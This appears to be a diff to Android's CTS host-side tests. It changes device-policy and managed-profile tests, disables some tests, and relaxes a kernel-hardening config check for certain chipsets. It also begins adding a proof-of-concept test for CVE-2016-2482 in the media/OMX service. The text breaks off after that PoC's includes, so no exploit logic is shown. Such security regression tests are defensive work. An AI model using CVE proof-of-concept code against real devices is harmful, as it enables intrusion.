--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
@@ -40,14 +40,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import java.util.concurrent.TimeUnit;
-@RunWith(AndroidJUnit4.class)
public class LockTaskTest extends BaseDeviceAdminTest {
private static final String TAG = "LockTaskTest";
@@ -143,7 +137,6 @@
private ActivityManager mActivityManager;
private DevicePolicyManager mDevicePolicyManager;
- @Before
public void setUp() {
mContext = InstrumentationRegistry.getContext();
@@ -161,14 +154,12 @@
mContext.registerReceiver(mReceiver, filter);
}
- @After
public void tearDown() {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
mContext.unregisterReceiver(mReceiver);
}
// Setting and unsetting the lock task packages.
- @Test
public void testSetLockTaskPackages() {
final String[] packages = new String[] { TEST_PACKAGE, "some.other.package" };
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, packages);
@@ -182,7 +173,6 @@
// Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
// verifier.
- @Test
public void testSetLockTaskFeatures() {
final int[] flags = new int[] {
LOCK_TASK_FEATURE_SYSTEM_INFO,
@@ -216,7 +206,6 @@
}
// Start lock task, verify that ActivityManager knows thats what is going on.
- @Test
public void testStartLockTask() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTask(UTILITY_ACTIVITY);
@@ -232,7 +221,6 @@
// Verifies that the act of finishing is blocked by ActivityManager in lock task.
// This results in onDestroy not being called until stopLockTask is called before finish.
- @Test
public void testCannotFinish() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTask(UTILITY_ACTIVITY);
@@ -246,7 +234,6 @@
}
// Verifies that updating the whitelisting during lock task mode finishes the locked task.
- @Test
public void testUpdateWhitelisting() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTask(UTILITY_ACTIVITY);
@@ -264,7 +251,6 @@
// Verifies that removing the whitelist authorization immediately finishes the corresponding
// locked task. The other locked task(s) should remain locked.
- @Test
public void testUpdateWhitelisting_twoTasks() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
RECEIVER_ACTIVITY_PACKAGE_NAME});
@@ -298,7 +284,6 @@
// This launches an activity that is in the current task.
// This should always be permitted as a part of lock task (since it isn't a new task).
- @Test
public void testStartActivity_withinTask() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTask(UTILITY_ACTIVITY);
@@ -319,7 +304,6 @@
// This launches a whitelisted activity that is not part of the current task.
// This should be permitted as a part of lock task.
- @Test
public void testStartActivity_outsideTaskWhitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
RECEIVER_ACTIVITY_PACKAGE_NAME});
@@ -338,7 +322,6 @@
// This launches a non-whitelisted activity that is not part of the current task.
// This should be blocked.
- @Test
public void testStartActivity_outsideTaskNonWhitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTask(UTILITY_ACTIVITY);
@@ -355,7 +338,6 @@
// Test the lockTaskMode flag for an activity declaring if_whitelisted.
// Whitelist the activity and verify that lock task mode is started.
- @Test
public void testManifestArgument_whitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
@@ -370,7 +352,6 @@
// Test the lockTaskMode flag for an activity declaring if_whitelisted.
// Don't whitelist the activity and verify that lock task mode is not started.
- @Test
public void testManifestArgument_nonWhitelisted() throws Exception {
startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
waitForResume();
@@ -384,7 +365,6 @@
// Test the lockTaskMode flag for an activity declaring if_whitelisted.
// An activity locked via manifest argument cannot finish without calling stopLockTask.
- @Test
public void testManifestArgument_cannotFinish() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
@@ -400,7 +380,6 @@
// Test the lockTaskMode flag for an activity declaring if_whitelisted.
// Verifies that updating the whitelisting during lock task mode finishes the locked task.
- @Test
public void testManifestArgument_updateWhitelisting() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
@@ -418,7 +397,6 @@
}
// Start lock task with ActivityOptions
- @Test
public void testActivityOptions_whitelisted() throws Exception {
mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
startLockTaskWithOptions(UTILITY_ACTIVITY);
@@ -433,9 +411,13 @@
}
// Starting a non-whitelisted activity with ActivityOptions is not allowed
- @Test(expected = SecurityException.class)
public void testActivityOptions_nonWhitelisted() throws Exception {
- startLockTaskWithOptions(UTILITY_ACTIVITY);
+ try {
+ startLockTaskWithOptions(UTILITY_ACTIVITY);
+ fail();
+ } catch (SecurityException e) {
+ // pass
+ }
}
/**
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 5569653..41c162e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -42,14 +42,12 @@
UserManager.DISALLOW_USB_FILE_TRANSFER,
UserManager.DISALLOW_CONFIG_CREDENTIALS,
UserManager.DISALLOW_REMOVE_USER,
- UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
UserManager.DISALLOW_DEBUGGING_FEATURES,
UserManager.DISALLOW_CONFIG_VPN,
UserManager.DISALLOW_CONFIG_TETHERING,
UserManager.DISALLOW_NETWORK_RESET,
UserManager.DISALLOW_FACTORY_RESET,
UserManager.DISALLOW_ADD_USER,
- UserManager.DISALLOW_ADD_MANAGED_PROFILE,
UserManager.ENSURE_VERIFY_APPS,
UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index 6c33dba..2b6dca6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -30,14 +30,12 @@
UserManager.DISALLOW_USB_FILE_TRANSFER,
UserManager.DISALLOW_CONFIG_CREDENTIALS,
UserManager.DISALLOW_REMOVE_USER,
- UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
// UserManager.DISALLOW_DEBUGGING_FEATURES, // Need for CTS
UserManager.DISALLOW_CONFIG_VPN,
UserManager.DISALLOW_CONFIG_TETHERING,
UserManager.DISALLOW_NETWORK_RESET,
UserManager.DISALLOW_FACTORY_RESET,
UserManager.DISALLOW_ADD_USER,
- UserManager.DISALLOW_ADD_MANAGED_PROFILE,
// UserManager.ENSURE_VERIFY_APPS, // Has unrecoverable side effects.
UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
@@ -68,7 +66,7 @@
};
public static final String[] DEFAULT_ENABLED = new String[] {
- UserManager.DISALLOW_ADD_MANAGED_PROFILE
+ // No restrictions set for DO by default.
};
@Override
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index 7fecb35..3652072 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -42,7 +42,7 @@
DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
mDevicePolicyManager.getPasswordQuality(mIncomingComponentName));
assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
- assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
+ assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
mDevicePolicyManager.getSystemUpdatePolicy());
assertThrows(SecurityException.class, () -> {
mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
index 6aedd1b..bead632 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferOutgoingTest.java
@@ -146,16 +146,6 @@
}
@Test
- public void testClearDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, false);
- }
-
- @Test
- public void testAddDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, true);
- }
-
- @Test
public void testSetAffiliationId1() {
setAffiliationId("id.number.1");
}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index 365c154..014bf4c 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -49,8 +49,7 @@
mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
Collections.singletonList("test.package"));
mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
- SystemUpdatePolicy.createWindowedInstallPolicy(123, 456));
-
+ SystemUpdatePolicy.createPostponeInstallPolicy());
PersistableBundle b = new PersistableBundle();
mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index d12dbb3..89788c7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -182,15 +182,7 @@
protected int setupManagedProfileOnDeviceOwner(String apkName, String adminReceiverClassName)
throws Exception {
- // Temporary disable the DISALLOW_ADD_MANAGED_PROFILE, so that we can create profile
- // using adb command.
- clearDisallowAddManagedProfileRestriction();
- try {
- return setupManagedProfile(apkName, adminReceiverClassName);
- } finally {
- // Adding back DISALLOW_ADD_MANAGED_PROFILE.
- addDisallowAddManagedProfileRestriction();
- }
+ return setupManagedProfile(apkName, adminReceiverClassName);
}
protected int setupManagedProfile(String apkName, String adminReceiverClassName)
@@ -207,28 +199,6 @@
return userId;
}
- /**
- * Clear {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void clearDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- TRANSFER_OWNER_OUTGOING_PKG,
- mOutgoingTestClassName,
- "testClearDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void addDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- TRANSFER_OWNER_OUTGOING_PKG,
- mOutgoingTestClassName,
- "testAddDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
@Test
public void testTargetDeviceAdminServiceBound() throws Exception {
if (!mHasFeature) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 33ec4fa..a6b791b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -31,6 +31,7 @@
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper.Builder;
+import org.junit.Ignore;
import org.junit.Test;
import java.util.List;
@@ -239,19 +240,6 @@
verifyBindDeviceAdminServiceAsUser(secondaryUserId);
}
- @Test
- public void testCannotRemoveProfileIfRestrictionSet() throws Exception {
- if (!mHasFeature) {
- return;
- }
- int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
- addDisallowRemoveManagedProfileRestriction();
- assertFalse(getDevice().removeUser(profileUserId));
-
- clearDisallowRemoveManagedProfileRestriction();
- assertTrue(getDevice().removeUser(profileUserId));
- }
-
@FlakyTest(bugId = 141161038)
@Test
public void testCannotRemoveUserIfRestrictionSet() throws Exception {
@@ -285,7 +273,6 @@
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
addDisallowRemoveUserRestriction();
- addDisallowRemoveManagedProfileRestriction();
// The DO should be allowed to remove the managed profile, even though disallow remove user
// and disallow remove managed profile restrictions are set.
@@ -297,7 +284,10 @@
assertUserGetsRemoved(profileUserId);
}
+ //TODO(b/138709492) Re-enable once restriction on creating a work profile when there's
+ // a device owner is on by default.
@Test
+ @Ignore
public void testCannotAddProfileIfRestrictionSet() throws Exception {
if (!mHasFeature) {
return;
@@ -307,6 +297,7 @@
}
/**
+ * TODO(b/138709492): Remove this test as a part of the COMP deprecation.
* Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
*/
@Test
@@ -315,27 +306,18 @@
return;
}
installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
- // By default, disallow add managed profile is set, so provisioning a managed profile is
- // not allowed for DPCs other than the device owner.
- assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
- // But the device owner can still provision a managed profile because it owns the
- // restriction.
+ // Disallowing adding managed profile is no longer set by default, so every DPC can
+ // provision a work profile.
+ assertProvisionManagedProfileAllowed(COMP_DPC_PKG2);
+ // Including the device owner, which can still provision a managed profile.
assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- clearDisallowAddManagedProfileRestriction();
// We've created a managed profile, but it's still possible to delete it to create a new
// one.
assertProvisionManagedProfileAllowed(COMP_DPC_PKG2);
assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
-
- addDisallowRemoveManagedProfileRestriction();
- // Now we can't delete the managed profile any more to create a new one.
- assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
- // But if it is initiated by the device owner, it is still possible, because the device
- // owner itself has set the restriction
- assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
}
@Test
@@ -344,7 +326,6 @@
return;
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- addDisallowRemoveManagedProfileRestriction();
// The PO of the managed profile should be allowed to delete the managed profile, even
// though the disallow remove profile restriction is set.
runDeviceTestsAsUser(
@@ -361,7 +342,6 @@
return;
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- addDisallowRemoveManagedProfileRestriction();
assertMetricsLogged(getDevice(), () -> {
runDeviceTestsAsUser(COMP_DPC_PKG, MANAGEMENT_TEST, "testWipeData", profileUserId);
}, WIPE_DATA_WITH_REASON_DEVICE_POLICY_EVENT);
@@ -624,24 +604,16 @@
/** Returns the user id of the newly created managed profile */
private int setupManagedProfile(String apkName, String packageName,
String adminReceiverClassName) throws Exception {
- // Temporary disable the DISALLOW_ADD_MANAGED_PROFILE, so that we can create profile
- // using adb command.
- clearDisallowAddManagedProfileRestriction();
- try {
- final int userId = createManagedProfile(mPrimaryUserId);
- installAppAsUser(apkName, userId);
- setProfileOwnerOrFail(adminReceiverClassName, userId);
- startUserAndWait(userId);
- runDeviceTestsAsUser(
- packageName,
- MANAGEMENT_TEST,
- "testIsManagedProfile",
- userId);
- return userId;
- } finally {
- // Adding back DISALLOW_ADD_MANAGED_PROFILE.
- addDisallowAddManagedProfileRestriction();
- }
+ final int userId = createManagedProfile(mPrimaryUserId);
+ installAppAsUser(apkName, userId);
+ setProfileOwnerOrFail(adminReceiverClassName, userId);
+ startUserAndWait(userId);
+ runDeviceTestsAsUser(
+ packageName,
+ MANAGEMENT_TEST,
+ "testIsManagedProfile",
+ userId);
+ return userId;
}
/** Returns the user id of the newly created secondary user */
@@ -671,50 +643,6 @@
}
/**
- * Clear {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void clearDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testClearDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void addDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testAddDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Clear {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
- */
- private void clearDisallowRemoveManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testClearDisallowRemoveManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
- */
- private void addDisallowRemoveManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testAddDisallowRemoveManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
* Add {@link android.os.UserManager#DISALLOW_REMOVE_USER}.
*/
private void addDisallowRemoveUserRestriction() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 5001736..8a5d09e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -34,6 +34,7 @@
import com.google.common.io.ByteStreams;
+import org.junit.Ignore;
import org.junit.Test;
import java.io.File;
@@ -604,6 +605,7 @@
@LargeTest
@Test
+ @Ignore("b/145932189")
public void testSystemUpdatePolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -612,6 +614,7 @@
}
@Test
+ @Ignore("b/145932189")
public void testSetSystemUpdatePolicyLogged() throws Exception {
if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index eb0d46b..04ad46d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -30,6 +30,7 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Ignore;
import org.junit.Test;
/**
@@ -573,6 +574,9 @@
"testOppDisabledWhenRestrictionSet", mProfileUserId);
}
+ //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
+ //identifiers.
+ @Ignore
@Test
public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
// The Profile Owner should have access to all device identifiers.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index cf05991..0521f65 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -198,6 +198,20 @@
// Managed profile owner cannot set currently whitelisted system settings.
}
+ @Override
+ @Test
+ public void testSetAutoTime() {
+ // Managed profile owner cannot set auto time unless it is called by the profile owner of
+ // an organization-owned managed profile.
+ }
+
+ @Override
+ @Test
+ public void testSetAutoTimeZone() {
+ // Managed profile owner cannot set auto time zone unless it is called by the profile
+ // owner of an organization-owned managed profile.
+ }
+
@Test
public void testCannotClearProfileOwner() throws Exception {
if (!mHasFeature) {
@@ -381,4 +395,16 @@
runDeviceTestsAsUser(
DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
}
+
+ //TODO(b/130844684): Remove when removing profile owner on personal device access to device
+ // identifiers.
+ @Test
+ public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
+ "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 38bcc86..35015df 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -53,14 +53,6 @@
}
@Test
- public void testWifi() throws Exception {
- if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
- return;
- }
- executeProfileOwnerTest("WifiTest");
- }
-
- @Test
public void testManagement() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
old mode 100644
new mode 100755
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
index cdd87fb..325f68c 100644
--- a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -208,10 +208,13 @@
put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SM7250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("LITO", null);
put("SM8150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM8150P", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SM8250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("KONA", null);
+ put("SDM429", null);
+ put("SDM439", null);
+ put("QM215", null);
put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
}};
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 60f9bcb..2e24e47 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -61,10 +61,12 @@
<!--__________________-->
<!-- Bulletin 2016-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
<!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
<option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
<option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
<option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
new file mode 100644
index 0000000..bb7ecac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2482
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := libnativehelper \
+ liblog \
+ libstagefright \
+ libbinder \
+ libutils \
+ libmedia \
+ libmedia_omx \
+ libstagefright_foundation
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..7215e00
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,151 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <utils/StrongPointer.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
